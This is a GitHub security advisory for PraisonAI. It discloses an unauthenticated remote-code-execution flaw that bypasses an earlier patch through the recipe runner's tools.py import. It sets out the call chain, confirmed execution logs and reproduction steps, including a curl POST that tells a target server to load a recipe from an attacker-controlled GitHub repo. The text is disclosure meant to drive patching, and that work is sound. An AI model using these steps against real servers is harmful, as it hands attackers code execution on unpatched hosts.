GitHub Advisoryadvisory · PyPI
GHSA-xcmw-grxf-wjhj PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)
HIGH
Official page ↗
- Aliases
- CVE-2026-44334
- Ecosystem
- PyPI
- Packages
- praisonai
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-94
- Reviewed
- 2026-05-06
Affected packages
• PyPI praisonai: >= 4.5.139, < 4.6.32 → fixed in 4.6.32
Description
TL;DR
CVE-2026-40287's fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in two files (`tool_resolver.py`, `api/call.py`). A third import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through `POST /v1/recipes/run` with a `recipe` value pointing at any local absolute path *or* any GitHub repo (because `SecurityConfig.allow_any_github` defaults to `True`). The attacker drops a `tools.py` next to `TEMPLATE.yaml`; the server `exec_module()`s it. No auth required by default, no environment opt-in required.
Patch coverage gap
CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:
| File | Line | Gate |
|---|---|---|
| `praisonai/tool_resolver.py` | 77 | `if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":` |
| `praisonai/api/call.py` | 80 | same |
But the equivalent sinks in `praisonai/templates/tool_override.py` were not patched:
```python
tool_override.py - create_tool_registry_with_overrides()
332 cwd_tools_py = Path.cwd() / "tools.py"
333 if cwd_tools_py.exists():
334 try:
335 tools = loader.load_from_file(str(cwd_tools_py)) # " | "github://"}
│
▼
recipe/serve.py:483 run_recipe(request) ← auth=none default
│
▼
recipe/core.py:215 recipe.run(name, ...)
│
▼
recipe/core.py:686 _load_recipe(name)
└─ ".." check only; absolute paths and URIs allowed
│
▼
templates/loader.py:94 TemplateLoader.load(uri)
│
▼
templates/security.py:130 is_source_allowed("github:*")
└─ allow_any_github=True default → returns True
│
▼
templates/registry.py fetch repo from raw.githubusercontent.com → cache dir
│
▼
templates/security.py:215 validate_template_directory(cached.path)
└─ .py is in allowed_extensions → tools.py kept
│
▼
recipe/core.py:887 _execute_recipe(recipe_config, ...)
│
▼
recipe/core.py:943 create_tool_registry_with_overrides(
include_defaults=True,
template_dir=recipe_config.path)
│
▼
templates/tool_override.py:341-349 load_from_file(template_dir/tools.py)
│
▼
templates/tool_override.py:94 spec.loader.exec_module(module) ← RCE
```
The tool registry build runs *before* any LLM/agent step, so `OPENAI_API_KEY` and similar are not required. A recipe with an empty `workflow.steps: []` is sufficient - the payload fires during registry construction.
Confirmed execution (2026-04-25, praisonai 4.6.31)
```
SERVER stdout (PID 43784):
Uvicorn running on http://127.0.0.1:8765
127.0.0.1 - POST /v1/recipes/run HTTP/1.1
[CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt
127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error
Marker file:
pid: 43784 ← matches server PID
argv: ['server.py'] ← server process, not exploit
```
The 500 response is a downstream side-effect of `workflow.steps: []` failing to construct a runnable workflow; the `exec_module(tools.py)` call runs *before* that error. The attacker payload has already executed in the server process by the time the 500 is sent.
Reproduction (local-path variant)
Files under `pocs/praisonai-cve-2026-40287-bypass/`:
• evil_recipe/TEMPLATE.yaml - minimal recipe metadata
• evil_recipe/tools.py - payload (writes a marker file in tempdir)
• server.py - starts `praisonai.recipe.serve.create_app({})` on `127.0.0.1:8765` (default `auth: none`)
• exploit.py - single POST to `/v1/recipes/run`
```bash
pip install 'praisonai[serve]==4.6.31'
Terminal 1
python server.py
Terminal 2
python exploit.py
```
Expected: server stdout shows `[CVE-2026-40287-bypass] RCE fired.`; a `praisonai_pwn_.txt` file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.
Reproduction (remote GitHub variant)
```bash
Push evil_recipe/ to https://github.com//poc-recipe (public repo)
curl -X POST http://target:8765/v1/recipes/run \
-H 'Content-Type: application/json' \
-d '{"recipe":"github:/poc-recipe/poc-recipe"}'
```
No filesystem prerequisite on the target. Triggers because `SecurityConfig.allow_any_github` (templates/security.py:30) defaults to `True`.
Related
Alias · CVE (1)
- CVE-2026-44334 PraisonAI is a multi-agent teams system. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness